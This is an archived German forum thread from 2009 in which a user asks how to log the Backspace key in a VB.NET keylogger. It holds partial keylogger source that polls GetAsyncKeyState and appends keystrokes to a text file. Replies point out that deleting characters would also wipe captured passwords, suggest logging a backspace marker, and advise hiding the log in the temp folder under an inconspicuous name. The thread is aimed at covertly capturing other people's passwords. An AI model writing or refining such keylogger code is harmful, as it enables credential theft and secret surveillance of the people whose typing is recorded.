PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [VB.NET] Keylogger: Keys.Back



PCFX
09.08.2009, 15:54
Hi,
ich will mir einen Keylogger coden. Habe dazu das Sample von "ThePapst" verwendet. Nun will ich die "Löschen-Taste" (Taste über Enter) protokolieren. Es soll aber nicht einfach "Back" o.ä. in die Datei geschrieben werden sondern ich dachte mir das so:


Dim fs As New FileStream(Speicherort, FileMode.Open)
Dim sr As New StreamReader(fs)
Dim Buffer As String
Buffer = sr.ReadToEnd
sr.Close()
Buffer = Buffer.Substring(0, Buffer.Length - 1)
Somit wird immer das letzte Zeichen der Zeichenkette weg"geschnitten".
Meine Frage:
Aber wie kann ich das jetzt möglichst übersichtlich in meinen Code einbetten,
da ich ja den StreamWriter-Stream schließen und einen StreamReader-Stream öffnen und wieder schließen muss, um "Buffer" zu füllen. Anschließend muss ich meine Textdatei wieder öffnen und "Buffer" reinschreiben lassen.

Momentan sieht meine Source so aus:


Imports System.IO

Public Class Form1
Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short
Dim Speicherort As String = "C:\Users\PCFX\Desktop\log.txt"
Dim LoggDatei As New StreamWriter(Speicherort, True)
Dim Buffer As String

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Enabled = True
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
If GetAsyncKeyState(Keys.A) = -32767 Then
LoggDatei.Write("a")
LoggDatei.Flush()
End If

'(usw.)
End Sub

Puiscel
10.08.2009, 10:31
das macht nicht ganz sinn: wir nehmen ma an der user schreibt in word einen text dann löscht er ihn wieder! dadursch hält er dir BACK taste auch noch länger damit werden dann auch deine passwörter weggemacht

inmate
10.08.2009, 11:04
Genau das kann passieren , wenn der Intervall zB falsch eingestellt ist.
Lasse einfach wenn er die BACK Taste drückt ein "[<BACK>]" oder sowas in deine log Datei schreiben.Ausserdem solltest du deinen Log Pfad nicht "Hart coden". Mache es so :


environ("tmp") & "\1234log.txt"

~inmate

PCFX
10.08.2009, 17:52
Hmm, das mit dem löschen des Passwortes habe ich nicht bedacht..
Da hast du recht! Ok, werde mir nochmal paar Gedanken dazu machen. Melde mich bei Bedarf wieder ;)